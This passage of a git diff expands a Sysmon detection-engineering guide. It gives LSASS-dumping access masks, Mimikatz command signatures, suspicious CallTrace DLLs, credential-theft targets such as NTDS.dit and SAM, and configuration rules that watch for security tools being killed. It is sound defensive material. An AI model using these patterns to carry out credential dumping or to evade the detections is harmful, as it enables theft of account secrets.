Sysmon performs a literal string comparison of the GrantedAccess value, not a bitwise operation. The mask must match exactly as logged. Care should be taken to track the proper combinations and test your filters to ensure they trigger correctly. |Access | Mask | |--------------------------------------|------------ @@ -49,11 +102,35 @@ taken to track the proper combinations. | PROCESS\_VM\_READ |0x0010| | PROCESS\_VM\_WRITE |0x0020| -The PSGumshoe PowerShell module has a function for creating and parsing -mask strings. +**Common Attack Patterns and Their Access Masks:** + +Different attack tools and techniques use specific combinations of access rights: + +* **0x1010** (PROCESS_VM_READ + PROCESS_QUERY_INFORMATION) - Commonly used by Mimikatz sekurlsa module to read LSASS memory +* **0x1F1FFF** or **0x1FFFFF** - PROCESS_ALL_ACCESS, requests all possible rights, often used by debugging tools like ProcDump +* **0x1438** or **0x143A** - Used by Mimikatz lsadump module for various credential dumping operations +* **0x0810** (PROCESS_VM_READ + PROCESS_SUSPEND_RESUME) - Can indicate credential dumping attempts +* **0x0820** (PROCESS_VM_WRITE + PROCESS_CREATE_THREAD) - Strong indicator of process injection +* **0x0800** (PROCESS_SUSPEND_RESUME) - May indicate process hollowing when combined with other memory operations + +**Legitimate Access Patterns to Expect:** + +You will see some benign process access even when monitoring critical processes: + +* Task Manager and monitoring tools querying process information with low-privilege access masks +* Security software scanning processes with read access +* Windows services performing normal system operations +* Management agents checking process status + +These can typically be filtered at the SIEM level by creating exclusions for known-good source processes (e.g., Task Manager at C:\\Windows\\System32\\taskmgr.exe accessing with 0x1400 or 0x1000). + +**The PSGumshoe PowerShell module has a function for creating and parsing mask strings:** -The fields for the even are: +Event Fields +------------ + +The fields for the event are: * **RuleName**: Rule that triggered the event @@ -81,11 +158,12 @@ The fields for the even are: * **GrantedAccess**: The access flags (bitmask) associated with the process rights requested for the target process -* **CallTrace**: Stack trace of where open process is called. Included - is the DLL and the relative virtual address of the functions in the - call stack right before the open process call +* **CallTrace**: Stack trace of where open process is called. Included is the DLL and the relative virtual address of the functions in the call stack right before the open process call. This field is valuable for identifying the code path that led to the process access, which can help distinguish legitimate tools from malicious ones. -Example: +Configuration Example +--------------------- + +Below is an example configuration that implements targeted monitoring of critical processes: ```xml @@ -147,15 +225,97 @@ Example: ``` -Some examples of actions from security tools like Mimikatz and their -access masks +Detection and Response Guidance +-------------------------------- + +**Known Credential Dumping Tool Access Patterns:** - |Command |Sysmon 10 |Security 4663 Kernel Object +Below are examples of access masks generated by common credential theft tools: + + |Command/Tool |Sysmon 10 GrantedAccess |Security 4663 Kernel Object AccessMask |-----------------------|---------------------------------------------------|----------------------------- - |lsadump::lsa /patch |GrantedAccess 0x1438 |AccessMask 0x10 - |lsadump::lsa /inject |GrantedAccess 0x143a |AccessMask 0x10 - |lsadump::trust /patch |GrantedAccess 0x1438 |AccessMask 0x10 - |misc:memssp |GrantedAccess 0x1438 |AccessMask 0x10 - |Procdump mimidump |GrantedAccess 0x1fffff |AccessMask 0x10 - |Task Manage minidump |GrantedAccess 0x1400, 0x1000, 0x1410 and 0x1fffff |AccessMask 0x10 - |sekurlsa::\* |GrantedAccess 0x1010 |AccessMask 0x10 + |Mimikatz lsadump::lsa /patch |GrantedAccess 0x1438 |AccessMask 0x10 + |Mimikatz lsadump::lsa /inject|GrantedAccess 0x143a |AccessMask 0x10 + |Mimikatz lsadump::trust /patch|GrantedAccess 0x1438 |AccessMask 0x10 + |Mimikatz misc::memssp |GrantedAccess 0x1438 |AccessMask 0x10 + |Procdump (mini dump LSASS) |GrantedAccess 0x1fffff |AccessMask 0x10 + |Task Manager (create dump) |GrantedAccess 0x1400, 0x1000, 0x1410, 0x1fffff |AccessMask 0x10 + |Mimikatz sekurlsa::\* |GrantedAccess 0x1010 |AccessMask 0x10 + +**Analyzing CallTrace for Suspicious Indicators:** + +The CallTrace field is one of the most valuable indicators for distinguishing legitimate access from attacks. It shows the stack of function calls that led to the process being opened, including which DLLs were involved. + +**Suspicious DLLs to Watch For:** + +* **dbghelp.dll** - Microsoft debugging library commonly used by memory dumping tools. Frequently seen in LSASS credential dumping attacks, particularly in older versions of Windows. Also used against svchost.exe to extract RDP credentials from Terminal Services. + +* **dbgcore.dll** - Windows debugging core library, similar usage to dbghelp.dll. Often indicates memory dumping activity against critical processes. + +* **ntdll.dll with uncommon call patterns** - While ntdll.dll is present in legitimate operations, unusual call stacks or direct API usage can indicate process injection or memory manipulation. + +* **Unknown or suspicious third-party DLLs** - DLLs loaded from unusual paths or without proper signatures. + +**Examples of Malicious CallTrace Patterns:** + +When attackers dump LSASS memory using tools like ProcDump, Mimikatz, or custom dumpers, you will often see: +``` +CallTrace: C:\Windows\System32\dbghelp.dll+... +CallTrace: C:\Windows\System32\dbgcore.dll+... +``` + +Attacks targeting svchost.exe for RDP credential theft show similar patterns with these debugging DLLs. + +**Legitimate vs. Malicious CallTrace:** + +* **Legitimate**: Windows system processes accessing LSASS typically show call traces through expected Windows DLLs (kernel32.dll, kernelbase.dll) for routine operations +* **Suspicious**: Call traces showing dbghelp.dll or dbgcore.dll accessing LSASS or svchost, especially from user-initiated processes or unusual parent processes +* **High Risk**: Call traces from these debugging DLLs when the source process is running from temp directories, user downloads, or is a script-based tool (PowerShell, cmd.exe) + +**What to Watch For:** + +When reviewing process access events, prioritize investigation of: + +1. **Unknown or Unexpected Processes Accessing LSASS or svchost**: Any process you do not recognize or that should not need access to these critical processes + +2. **Suspicious Source Paths**: Processes accessing critical processes from: + * Temp directories (C:\\Users\\*\\AppData\\Local\\Temp, C:\\Windows\\Temp) + * User download directories + * Unusual system paths (C:\\ProgramData\\*, C:\\Users\\Public\\*) + * Network shares + +3. **Debugging DLLs in CallTrace**: Any CallTrace showing dbghelp.dll or dbgcore.dll should be investigated, especially when accessing LSASS or svchost + +4. **PowerShell or Command-Line Tools**: While legitimate in some enterprise environments, PowerShell or cmd.exe accessing LSASS often indicates attack tools + +5. **High-Privilege Access Masks**: 0x1FFFFF (PROCESS_ALL_ACCESS) from non-debugging, non-administrative tools + +6. **After-Hours Access**: Credential dumping during off-hours when administrative activity is less expected + +7. **RDP Credential Theft Indicators**: Process access to svchost.exe (especially the one hosting TermService) with debugging DLLs in the CallTrace + +**Reducing False Positives:** + +Process access monitoring of critical processes will generate some benign events. Use these strategies to reduce noise: + +1. **SIEM-Level Filtering**: Rather than excluding at Sysmon level, filter known-good source processes in your SIEM using the full source image path + +2. **Baseline Normal Behavior**: Document which management or security tools in your environment legitimately access LSASS and create exclusions for those specific processes + +3. **Use the CallTrace Field**: Legitimate Windows processes will show expected DLL call stacks. Suspicious access often shows unusual call traces or debugging-related DLLs + +4. **Correlate with Other Events**: Cross-reference with process creation events to understand what spawned the accessing process + +5. **Whitelist by Path and Hash**: For legitimate tools, whitelist using both the full image path and file hash to prevent attackers from masquerading + +**Testing Your Configuration:** + +Validate your process access monitoring by safely simulating attacks in a test environment: + +* Use Mimikatz in a lab to verify you detect sekurlsa and lsadump commands +* Test legitimate administrative tools to understand their access patterns and CallTrace signatures +* Verify ProcDump and Task Manager dump creation generates alerts with expected CallTrace data +* Simulate RDP credential theft techniques against svchost to verify detection +* Ensure CallTrace data is being captured and review the DLLs involved + +By properly configuring and monitoring process access events, you gain visibility into some of the most critical phases of an attack: credential theft and code injection. This event type, when properly tuned, provides high-fidelity detections with manageable false positive rates. diff --git a/chapters/process-creation.md b/chapters/process-creation.md index d25ae53..8059da5 100644 --- a/chapters/process-creation.md +++ b/chapters/process-creation.md @@ -2,14 +2,46 @@ Process Creation ================ -Sysmon will log **EventID 1** for the creation of any new process when -it registers with the kernel. +Sysmon will log **EventID 1** for the creation of any new process when it registers with the kernel. This is arguably the single most important event type that Sysmon provides, and understanding how to configure it effectively is critical for any detection engineering program. -On Windows Sysmon will generate a ProcessGuid and LogonGuid with the information it -obtains and it will hash the process main image. The command line of the -process will be parsed and logged in to eventlog. When storage permits a -common practice is to log all processes and to filter out common day to -day processes for Windows and Applications after profiling usage. +Why Process Monitoring is Critical +----------------------------------- + +Process creation monitoring stands above all other event types in importance for one simple reason: attackers must execute code to accomplish their objectives. Regardless of how an attacker gains initial access - through a phishing email, a web application vulnerability, stolen credentials, or a physical device - they eventually need to run programs on the compromised system. + +Every significant action an attacker takes involves process execution: + +* **Initial Access**: Exploits often execute shellcode that spawns a process +* **Persistence**: Backdoors and implants are processes that need to start +* **Credential Dumping**: Tools like Mimikatz must run as processes +* **Discovery**: Enumeration commands like whoami, net user, and ipconfig are all processes +* **Lateral Movement**: Remote execution via PsExec, WMI, or PowerShell creates processes on target systems +* **Collection**: Scripts that search for and gather data run as processes +* **Exfiltration**: Tools that upload data externally are processes +* **Impact**: Ransomware encryption runs as a process + +When you examine the MITRE ATT&CK framework, you will find that process monitoring (specifically command line logging and process creation events) is listed as a primary or supplemental data source for detecting the vast majority of techniques across all tactics. Out of over 600 techniques documented in ATT&CK, process command line parameters are relevant for detecting hundreds of them. No other single data source provides this level of coverage. + +This widespread applicability makes process creation logging the cornerstone of endpoint detection. If you could only enable one Sysmon event type, this would be it. However, this importance comes with a challenge: volume. + +The Volume Challenge +--------------------- + +A typical Windows workstation creates hundreds to thousands of processes per day. Servers, especially domain controllers or application servers, can generate tens of thousands. If you log every single process creation without filtering, you will quickly face several problems: + +* **Storage costs** become significant across hundreds or thousands of endpoints +* **SIEM performance** degrades as millions of events per day are indexed +* **Analyst fatigue** sets in when legitimate detections are buried in normal activity +* **Investigation speed** slows when analysts must sort through massive volumes of logs + +This is why an outlier-based approach is essential for process creation monitoring. + +The Outlier Approach: Capture What Matters +------------------------------------------- + +The most effective strategy for process creation logging is to exclude known-good, normal processes and capture everything else - the outliers. This approach flips the problem on its head. Instead of trying to predict what attacks will look like and writing rules to catch them, you define what normal looks like and eliminate it from your logs. What remains is the unusual, the unexpected, and the potentially malicious. + +On Windows, Sysmon will generate a ProcessGuid and LogonGuid with the information it obtains and will hash the process main image. The command line of the process will be parsed and logged. The recommended practice is to start by logging all processes during a baselining period, then progressively add exclusions for common day-to-day processes for Windows and applications after profiling usage in your environment. The fields on a process creation event are: @@ -59,13 +91,104 @@ The fields on a process creation event are: * **ParentCommandLine -** Arguments which were passed to the executable associated with the parent process -Sysmon offers an advantage over the regular process logging in Windows since it not -only pulls the same information as with **EventID** **4688** but it also -pulls information from the PE header, hashes the images for correlation -with IOC databases like Virus Total and it also provides unique fields -when querying for events. +Sysmon offers an advantage over the regular process logging in Windows since it not only pulls the same information as with **EventID** **4688** but it also pulls information from the PE header, hashes the images for correlation with IOC databases like Virus Total and it also provides unique fields when querying for events. + +Configuration Best Practices: Multi-Field Exclusions +----------------------------------------------------- + +The most common mistake when filtering process creation events is creating exclusions that are too broad or too simple. This creates opportunities for attackers to evade detection by mimicking legitimate processes. Consider these principles when building exclusions: + +**Never Exclude by a Single Field**: An exclusion based solely on process name is trivial to bypass. If you exclude "svchost.exe" by name alone, an attacker can simply name their malware "svchost.exe" and it will not be logged. Always use multiple fields in combination. + +**Use Multiple Criteria Together**: Effective exclusions combine several fields to create a specific signature of the legitimate process: + +* **Image (full path) + Hashes**: Exclude a specific executable at a specific location with a specific hash. This is the most secure approach but requires updating exclusions when software updates change file hashes. + +* **Image + ParentImage**: Exclude a process only when it is launched by a specific parent. For example, excluding "conhost.exe" only when spawned by legitimate system processes. + +* **Image + CommandLine patterns**: Exclude based on both the executable path and expected command line parameters. This catches normal usage while flagging unusual parameters. + +* **Image + User**: Exclude certain processes only when run by specific service accounts or system users. + +Here are examples of weak versus strong exclusions: + +**Weak Exclusion (Easily Bypassed)**: +```xml + + + + + chrome.exe + + + +``` + +An attacker can bypass this by naming their malware "chrome.exe" or placing it anywhere on disk with that name. + +**Strong Exclusion (Specific and Difficult to Bypass)**: +```xml + + + + + C:\Program Files\Google\Chrome\Application\ + Medium + true + + + +``` + +This exclusion requires the process to be in the correct directory, have the correct integrity level, and be signed. An attacker would have difficulty meeting all these criteria. + +**Examples of Well-Structured Exclusions**: + +Excluding Windows Defender scans: +```xml + + C:\ProgramData\Microsoft\Windows Defender\Platform\MpCmdRun.exe + C:\Windows\System32\svchost.exe + +``` + +Excluding legitimate PowerShell executed by management tools: +```xml + + C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + C:\Windows\CCM\CcmExec.exe + +``` + +**What to Commonly Exclude**: After baselining, you will typically find these high-volume, low-value processes can be safely excluded when properly scoped: + +* **System update processes**: Windows Update components, application updaters (when verified by path and signature) +* **Management agents**: SCCM, Tanium, or other endpoint management tools performing expected actions +* **Antivirus scans**: Scheduled scans and routine operations from security tools +* **Backup agents**: Routine backup operations +* **Monitoring tools**: Performance monitoring, inventory tools + +**What to Never Exclude Completely**: Some processes should always be logged because they are commonly abused by attackers: + +* **powershell.exe**: Always log PowerShell, though you may exclude specific parent processes or common administrative scripts +* **cmd.exe**: Command prompt execution should be logged +* **wmic.exe**: WMI command line tool is frequently used in attacks +* **psexec.exe**: Remote execution tool +* **regsvr32.exe**: COM server registration utility frequently abused for code execution +* **rundll32.exe**: DLL loading utility commonly used to execute malicious code +* **mshta.exe**: HTML Application host often used to execute scripts +* **cscript.exe, wscript.exe**: Windows Script Host executables + +**Testing Your Exclusions**: After implementing exclusions, validate that you have not created blind spots. Use tools like Atomic Red Team to safely execute attack simulations in a test environment. For example, test that you still detect: + +* PowerShell launched with encoded commands +* Processes spawned from unusual parents (Word launching cmd.exe) +* Execution from temporary directories +* Processes with unusual command line parameters + +If your simulated attacks no longer generate process creation events, you have excluded too much and created a false negative. -In Linux the advantage provided by Sysmon is that the data is structured in a wa that makes it easier to parse and leverage in a SIEM that leverages the logs. Bellow is an auditd example of the "ping -c 8.8.8.8" command. +In Linux the advantage provided by Sysmon is that the data is structured in a way that makes it easier to parse and leverage in a SIEM that ingests the logs. Below is an auditd example of the "ping -c 3 8.8.8.8" command. ```conf type=PROCTITLE msg=audit(10/26/2021 12:51:14.046:1385) : proctitle=-bash diff --git a/chapters/process-tampering.md b/chapters/process-tampering.md index 49020ac..5ba60e3 100644 --- a/chapters/process-tampering.md +++ b/chapters/process-tampering.md @@ -1,7 +1,85 @@ Process Image Tampering ----------------------- -Sysmon will log **EventID 25** when a process original image is replaced in memory or on disk. This covers the technique of [Process Hollowing] (https://attack.mitre.org/techniques/T1055/012/), this is when a process is launched, then suspended and the memory for the image is unmapped and realigned to another image injected in to memory and then resumed to execute the injected image. [Process Herpaderping] (https://jxy-s.github.io/herpaderping/) is another technique that is caught by this event type, this technique works by modifying the content on disk after the image has been mapped. This capability was added in version 13.0 of Sysmon with schema 4.50. +Sysmon will log **EventID 25** when a process's original image is replaced in memory or on disk. This is a **low-volume, high-value event type** that detects advanced process injection and evasion techniques. Process tampering events are strong indicators of malicious activity and should almost always be investigated. + +Detection Value and Why It Matters +----------------------------------- + +Process tampering detects sophisticated evasion techniques where attackers modify process images to hide malicious code: + +**Process Hollowing** ([T1055.012](https://attack.mitre.org/techniques/T1055/012/)): The classic technique where an attacker: +1. Creates a legitimate process in suspended state +2. Unmaps the legitimate code from memory +3. Injects malicious code into the process +4. Resumes execution of the now-malicious process + +This makes the malicious code appear to be a legitimate process when viewed in task managers or process lists. + +**Process Herpaderping** ([detailed here](https://jxy-s.github.io/herpaderping/)): A newer technique that modifies the file on disk after Windows has mapped it into memory but before it executes. This creates a mismatch between what's on disk and what's in memory, evading many security tools. + +**Defense Evasion**: Both techniques allow malware to: +* Hide inside legitimate process names +* Bypass application whitelisting +* Evade process-based detections +* Inherit the trust and privileges of the legitimate process + +**MITRE ATT&CK Mapping**: +* **T1055.012 - Process Injection: Process Hollowing** +* **T1055 - Process Injection** (general) +* **T1027 - Obfuscated Files or Information** (image tampering as obfuscation) + +This capability was added in Sysmon version 13.0 with schema 4.50. + +Why This is Low-Volume +----------------------- + +Process tampering is relatively rare: +* Very few legitimate applications modify their image after loading +* Some browsers and development tools trigger this for legitimate reasons +* Typical systems generate 10-50 events per day, mostly from known software +* Most events are from a small set of applications (browsers, IDEs, Electron apps) + +Configuration Strategy: Log All, Exclude Known-Good +---------------------------------------------------- + +The recommended approach: **log all process tampering events** and progressively exclude verified legitimate applications by full path. + +**Important Limitation**: Not all process hollowing techniques are detected. Some variations that use different API calls or modify smaller portions of the image may evade detection. This is why layered detection (combining multiple event types) is critical. + +What to Investigate +-------------------- + +When reviewing process tampering events, prioritize investigation of: + +**1. Unknown or Unusual Processes** +* Any process you don't recognize being tampered with +* Processes running from temp directories or user folders +* Recently created processes that are immediately tampered with + +**2. Tampering of Critical System Processes** +* explorer.exe, svchost.exe, or other long-running system processes +* These are common targets because they provide persistence and trust + +**3. Type of Tampering** +* "Image is replaced" is more suspicious than "Image is locked for access" +* Replacement indicates active hollowing or herpaderping +* Locked access may be legitimate security software scanning + +**4. Non-Browser/Non-Development Tools** +* Tampering outside of known browsers, IDEs, and Electron apps +* Server systems should rarely see tampering events +* Any tampering on production servers warrants immediate investigation + +**5. Timing Correlation** +* Tampering shortly after suspicious process creation +* Multiple tampering events in sequence +* Tampering during off-hours or after compromise indicators + +**6. Processes from Suspicious Parents** +* Processes spawned by cmd.exe, powershell.exe being tampered with +* Office applications spawning processes that are tampered with +* Unusual parent-child relationships combined with tampering The fields for the event are: @@ -13,12 +91,20 @@ The fields for the event are: * **Type** -- Type of process tampering (Image is locked for access, Image is replaced) -There are several programs like browsers and code development programs that trigger this event type. Since an attacker can select any process as their target it is recommended to capture all events and create an exclusion list of known programs. There is a risk that attacker will select this program for their actions but it limits greatly their capability by narrowly directing them to programs that can then be monitor for other behaviors to detect abuse on the. +Configuration: Log All, Build Exclusions Progressively +------------------------------------------------------- + +Several programs legitimately trigger process tampering events, particularly browsers and development tools. However, since attackers can target any process for hollowing attacks, the recommended approach is to **log all tampering events initially** and build an exclusion list through baselining. -Example: +**Risk Consideration**: There is inherent risk in excluding any process from tampering detection, as attackers may specifically target excluded processes. However, this risk is mitigated by: +* Using full path exclusions (attackers can't easily place malware in Program Files) +* Monitoring these same processes with other event types (Process Access, Network Connections) +* Layered detection approach catches attacks through multiple signals + +**Phase 1 - Initial Deployment**: Log everything with no exclusions to understand your environment's tampering baseline. ```xml -Sysmon schemaversion="4.50"> + @@ -26,26 +112,45 @@ Sysmon schemaversion="4.50"> - ``` -Collect events and build a exclusion list like: +**Phase 2 - Build Exclusion List**: After 1-2 weeks of baselining, create exclusions for verified legitimate applications using full paths: ```xml -RuleGroup name=“” groupRelation=“or”> - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe - C:\Program Files\Mozilla Firefox\firefox.exe - C:\Program Files\Mozilla Firefox\updater.exe - C:\Program Files\Mozilla Firefox\default-browser-agent.exe - C:\Program Files\Mozilla Firefox\pingsender.exe - C:\Program Files\Microsoft VS Code\Code.exe - C:\Program Files\Git\cmd\git.exe - C:\Program Files\Git\mingw64\bin\git.exe - \software_reporter_tool.exe - unknown process - - + + + + + + C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + C:\Program Files\Google\Chrome\Application\chrome.exe + C:\Program Files\Mozilla Firefox\firefox.exe + C:\Program Files\Mozilla Firefox\updater.exe + C:\Program Files\Mozilla Firefox\default-browser-agent.exe + C:\Program Files\Mozilla Firefox\pingsender.exe + + + C:\Program Files\Microsoft VS Code\Code.exe + C:\Program Files\Git\cmd\git.exe + C:\Program Files\Git\mingw64\bin\git.exe + + + + C:\Program Files\Slack\slack.exe + C:\Users\*\AppData\Local\Microsoft\Teams\current\Teams.exe + + + \software_reporter_tool.exe + + + + ``` -Seems like Electron based apps like Slack, Mattermost and others also create false positives. Another thing to be awarded of that not all process hollowing techniques are detected. Some variations based on the original technique by changing some API calls and amount of the image altered are not detected. This is a perfect example as to why it is important to have additional detection controls for other action and have a layered approach to detection. +**Known Legitimate Sources of Tampering Events:** +* **Browsers**: Chrome, Edge, Firefox generate tampering events during updates and certain internal operations +* **Electron Applications**: Slack, Microsoft Teams, Discord, Mattermost, and other Electron-based apps +* **Development Tools**: VS Code, Git, and integrated debuggers +* **Update Mechanisms**: Browser updaters and software reporter tools + +**Important Reminder**: This event type does not detect all process hollowing variants. Attackers using alternative techniques that modify smaller portions of the image or use different API sequences may evade detection. This underscores the importance of **layered detection** - combining Process Tampering monitoring with Process Access, Image Load, and Network Connection monitoring to catch attacks through multiple behavioral signals. diff --git a/chapters/process-termination.md b/chapters/process-termination.md index d19d502..c47898e 100644 --- a/chapters/process-termination.md +++ b/chapters/process-termination.md @@ -1,11 +1,108 @@ Process Termination ------------------- -Symon will log an **EventID 5** when a process terminates. By logging -process termination events allow for calculating duration of operation -of a process by comparing the times with process creation. Process -termination also allows when co-related with shutdown and start events -if a process may have been terminated by an attacker. +Sysmon will log an **EventID 5** when a process terminates. While less critical than process creation events, process termination logging provides valuable context for investigations and can help detect specific attacker behaviors, particularly defensive evasion techniques. + +Detection Value and Use Cases +------------------------------ + +Process termination events serve several important purposes in detection engineering: + +**Timeline Analysis**: By correlating process creation (Event ID 1) with termination events, you can calculate how long a process ran. A process that executes for only milliseconds might indicate reconnaissance or automated attack tools. A process that runs for an unusually long time might indicate persistence or data exfiltration. + +**Defensive Evasion Detection**: Attackers frequently terminate security tools to operate undetected. Monitoring for the termination of specific processes can alert you when: +* Antivirus or EDR agents are killed +* Logging services are stopped +* Backup processes are terminated (common before ransomware deployment) +* Windows Defender processes are stopped +* Sysmon itself is terminated + +**Incident Investigation**: When investigating an incident, knowing when processes stopped running helps establish a timeline. This is particularly valuable when analyzing malware that runs briefly, deletes itself, and terminates. + +**Anomaly Detection**: Unexpected termination of critical system processes or services can indicate system instability, crashes due to exploitation, or deliberate sabotage. + +**MITRE ATT&CK Mapping**: Process termination is relevant for detecting: +* **T1562 - Impair Defenses**: Stopping or killing security tools +* **T1489 - Service Stop**: Terminating services before destructive actions +* **T1490 - Inhibit System Recovery**: Stopping backup or recovery services + +Configuration Strategy +----------------------- + +Unlike process creation, process termination is a **lower priority event type** for most environments. The volume is similar to process creation (every process that starts will eventually terminate), but the detection value is lower. This leads to three common configuration approaches: + +**Approach 1 - Do Not Log (Common)**: Many organizations do not log process termination at all. If storage or SIEM licensing is constrained, this is often the first event type to be disabled. You can still conduct investigations using only process creation events; you simply lose some timeline precision. + +**Approach 2 - Log Everything**: Some organizations log all process termination events to maintain complete process lifecycle visibility. This approach makes sense if: +* You have sufficient storage and SIEM capacity +* You frequently conduct detailed forensic investigations +* You want precise process duration calculations +* Compliance requirements demand complete audit trails + +**Approach 3 - Targeted Includes (Recommended)**: Rather than logging all terminations or using exclusions, configure Sysmon to only log termination of security-relevant processes. This provides the detection value without the volume burden. + +Recommended Targeted Include Configuration +------------------------------------------- + +The most effective approach is to only log termination of processes that matter for security monitoring: + +```xml + + + + + + defender + avast + avg + norton + mcafee + sophos + crowdstrike + carbon + MsSense.exe + SysmonDrv.exe + + + + + lsass.exe + csrss.exe + wininit.exe + + + + + vss + backup + wbadmin + + + + + EventLog.exe + splunk + elastic + + + + +``` + +This configuration only logs termination of processes that are security-relevant, dramatically reducing volume while maintaining detection capability for defensive evasion attempts. + +What to Monitor For +------------------- + +When reviewing process termination events, look for these suspicious patterns: + +**Security Tool Termination**: Any termination of antivirus, EDR, or monitoring tools should be investigated. Legitimate updates or administrative actions should be rare and documented. + +**Batch Terminations**: Multiple processes terminated in rapid succession by the same parent process, especially if terminating security tools or system services. This pattern is common in ransomware and wiper malware. + +**Unusual Termination Methods**: Processes terminated by debugging tools, scripts, or command-line utilities like taskkill.exe when targeting security processes. + +**Short-Lived Suspicious Processes**: When correlated with process creation, very short process lifetimes for reconnaissance tools, credential dumpers, or other attack tools that execute and immediately exit. The process termination fields are: diff --git a/chapters/raw-access-read.md b/chapters/raw-access-read.md index 25d0c12..5d9bd93 100644 --- a/chapters/raw-access-read.md +++ b/chapters/raw-access-read.md @@ -1,11 +1,58 @@ Raw Access Read =============== -Sysmon will log **EventID 9** for any process trying to read straight from a storage device by bypassing any filesystem restrictions that may be imposed by it. This information is logged by Sysmon on Windows by leveraging its minifilter. This type of action is only done by drive imaging software or backup software in a normal operating environment. +Sysmon will log **EventID 9** for any process attempting to read directly from a storage device, bypassing filesystem restrictions. This is a **low-volume, extremely high-value event type** that should almost always log all occurrences. Raw disk access is rare in normal operations and highly indicative of credential theft or anti-forensics activity. -On Linux this event is logged when a block device is directly accessed and eBPF is used to detect this type of action. +Detection Value and Why It Matters +----------------------------------- -Attackers have been known to use this technique on Windows to copy NTDS.dit and SAM Registry Hives off host for the purpose of credential harvesting. In the case of Linux it is the raw access to the device for similar purposes too access credentials, key material and binaries of the system. +Raw access read bypasses the Windows filesystem layer to read data directly from disk. In normal operations, only specialized software performs this action: +* Drive imaging tools (forensic software) +* Backup software performing sector-level backups +* Disk repair and recovery utilities + +Attackers use raw disk access for critical attack objectives: + +**Credential Harvesting on Windows**: Direct disk access allows attackers to bypass file locks and permissions to steal: +* **NTDS.dit** (Active Directory database on Domain Controllers) - Contains password hashes for all domain accounts +* **SAM Registry Hive** - Local user account password hashes +* **SYSTEM Registry Hive** - Needed to decrypt SAM hashes + +**Credential Harvesting on Linux**: Raw block device access to steal: +* Shadow password files +* SSH private keys +* Credential stores and key material + +**Anti-Forensics**: Reading raw disk to: +* Locate and wipe evidence from unallocated space +* Access deleted files +* Manipulate filesystem metadata + +**Data Theft**: Bypassing filesystem permissions to access protected files. + +**MITRE ATT&CK Mapping**: +* **T1003.002 - OS Credential Dumping: Security Account Manager** - SAM hive theft +* **T1003.003 - OS Credential Dumping: NTDS** - NTDS.dit extraction +* **T1006 - Direct Volume Access** - Raw disk access technique +* **T1561 - Disk Wipe** - Anti-forensics using raw access + +Why This is Low-Volume +----------------------- + +Raw disk access is extremely rare: +* Normal applications use filesystem APIs, not raw disk access +* Even most administrative tools don't require raw access +* Typical systems generate 0-5 events per day, often zero +* Events usually come from legitimate backup or imaging software + +This makes raw access read ideal for **logging everything** with minimal or no exclusions. + +Configuration Strategy: Log All +-------------------------------- + +The recommended approach is simple: **log all raw access read events**. The volume is so low that filtering provides minimal benefit and risks missing critical detections. + +On systems with frequent legitimate imaging or backup operations, you may exclude those specific tools by full path after verification. The fields for the event are: @@ -21,9 +68,36 @@ The fields for the event are: * **Device**: Target device -In the case of Windows given that no process should be performing this action normally, it is best to log all instances of it or, even better, to target the NTDS.dit file on domain controllers and SAM hive file on all systems. On systems with many file modifications, slightly higher resource usage may result if monitoring is enabled for all files. +What to Investigate +-------------------- + +When reviewing raw access read events, **investigate every occurrence** unless it's from verified legitimate software: + +**1. Unknown Processes**: Any process you don't recognize performing raw disk access should be investigated immediately. + +**2. Suspicious Processes**: +* powershell.exe, cmd.exe, or scripting engines with raw disk access +* Processes from temp directories or user folders +* Recently created processes accessing raw disk +**3. Timing Correlation**: +* Raw disk access shortly after suspicious process creation +* Access during off-hours or immediately after compromise indicators +* Multiple raw access events in sequence -Example that captures all instances of this event +**4. Targeted Devices**: +* Access to system drive (C:\) partitions +* Domain controller disk access (potential NTDS.dit theft) + +**5. Known Attack Tools**: +* ntdsutil.exe used outside of maintenance windows +* Custom or unknown utilities accessing disk + +Configuration: Log All (Recommended) +------------------------------------- + +Given the extremely low volume and high detection value, the recommended configuration is simple - log everything: ![collect all](./media/image60.png) + +Raw access read monitoring provides some of the highest-fidelity detections available. Nearly every occurrence outside of known backup windows warrants investigation. diff --git a/chapters/registry-actions.md b/chapters/registry-actions.md index 8556a87..b444268 100644 --- a/chapters/registry-actions.md +++ b/chapters/registry-actions.md @@ -1,15 +1,89 @@ Registry Actions ================ -Sysmon has the capability to monitor for three major actions against the Registry +Sysmon has the capability to monitor for three major actions against the Windows Registry: -* **EventID 12** - Registry object added or deleted +* **EventID 12** - Registry object (key) added or deleted * **EventID 13** - Registry value set -* **EventID 14** - Registry object renamed - -The Windows Registry has been a source of information gathering, persistence, storage, and configuration control for attackers since its wider use introduction in Windows NT 4.0/Windows 95. +* **EventID 14** - Registry object (key) renamed + +The Windows Registry has been a central target for attackers since its introduction in Windows NT 4.0 and Windows 95. The registry provides attackers with capabilities for persistence, privilege escalation, defense evasion, discovery, and configuration manipulation. Understanding registry monitoring is critical for detection engineering, but it must be approached carefully due to extreme volume challenges. + +Detection Value and Use Cases +------------------------------ + +Registry monitoring provides visibility into some of the most common and persistent attack techniques: + +**Persistence Mechanisms**: Attackers use registry keys to ensure their malware survives reboots. Common persistence locations include: +* Run and RunOnce keys for automatic program execution at startup +* Services keys for creating malicious Windows services +* Winlogon keys for hijacking the logon process +* Scheduled task configurations stored in registry +* AppInit_DLLs and AppCertDlls for DLL injection on process start + +**Privilege Escalation**: Registry modifications can elevate privileges or bypass security controls: +* UAC bypass techniques often modify specific registry values +* Service configuration changes to run malware with SYSTEM privileges +* Accessibility feature hijacking (Sticky Keys, etc.) + +**Defense Evasion**: Attackers modify registry to disable security controls: +* Windows Defender settings and exclusions +* Windows Firewall configuration +* Safe boot settings +* Audit policy modifications to reduce logging + +**Discovery**: Attackers query registry for reconnaissance: +* Installed software enumeration +* Network configuration discovery +* Security product identification +* System configuration gathering + +**Credential Access**: Some registry locations contain or control credential storage: +* LSA secrets configuration +* Credential manager settings +* WDigest authentication settings (enabling plaintext credential storage) + +**MITRE ATT&CK Mapping**: Registry monitoring helps detect numerous techniques: +* **T1547 - Boot or Logon Autostart Execution** - Run keys, services, Winlogon modifications +* **T1112 - Modify Registry** - General registry tampering +* **T1548 - Abuse Elevation Control Mechanism** - UAC bypass techniques +* **T1562 - Impair Defenses** - Disabling security tools via registry +* **T1012 - Query Registry** - Reconnaissance through registry queries +* **T1543.003 - Create or Modify System Process: Windows Service** - Service manipulation +* **T1546 - Event Triggered Execution** - Various registry-based execution triggers +* **T1574 - Hijack Execution Flow** - DLL hijacking, path interception via registry + +The Extreme Volume Challenge +----------------------------- + +Registry events are among the 